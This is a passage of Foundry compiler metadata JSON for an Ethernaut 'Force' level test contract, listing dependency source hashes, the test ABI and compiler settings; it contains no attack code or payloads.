3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/ForceAttack.sol\":{\"keccak256\":\"0x876555a235e3069328511570b55ae5d2da411e67979faec9b436170fefc24a44\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a63ecc91aa3a386e1119b4aff97940fed0b704a301b1077743fd92c89882a43d\",\"dweb:/ipfs/QmafZVLt3pWfCx6EHVZmU6MGNdZUVmrxihVt9bB5dpJQXx\"]},\"src/levels/Force.sol\":{\"keccak256\":\"0xe0b01e8442119a27b773c712fc99f775af06e5e18ddd883502904d58c2f437ff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8aeecfc98216fdc0e1de09688aee2bdb83511153ccf12aa202ade2d8c7df0c74\",\"dweb:/ipfs/QmPoyEcDaUF3DLa7yjtomtacGL6QQFVbNPfLwniCSGLXpF\"]},\"src/levels/ForceFactory.sol\":{\"keccak256\":\"0x928787f53558486d875a79627314da05281b1c754f0e78e000c9f889c959f138\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a75a4528df8313d33459153c2100594b8abf360d13979c3e9f1c7d667b0930e5\",\"dweb:/ipfs/QmVZtQsMAABd1PhsqthPeoaVhkpLAAPErG7sqEsweiidvS\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Force.t.sol\":{\"keccak256\":\"0x62a499d39a31608d85fe73e7c1d8a0af9353bfb68c8c967af21b6eb7d68671f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5eadc26d52071ccd3c10c4f459939b89c8b905bdfc05737de3cf3527148bca86\",\"dweb:/ipfs/QmfSwHVvXzrBEmhH7CVoSLS9mSNQ8Tq79AVxK4gJkFQPY6\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Force.t.sol":"TestForce"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR 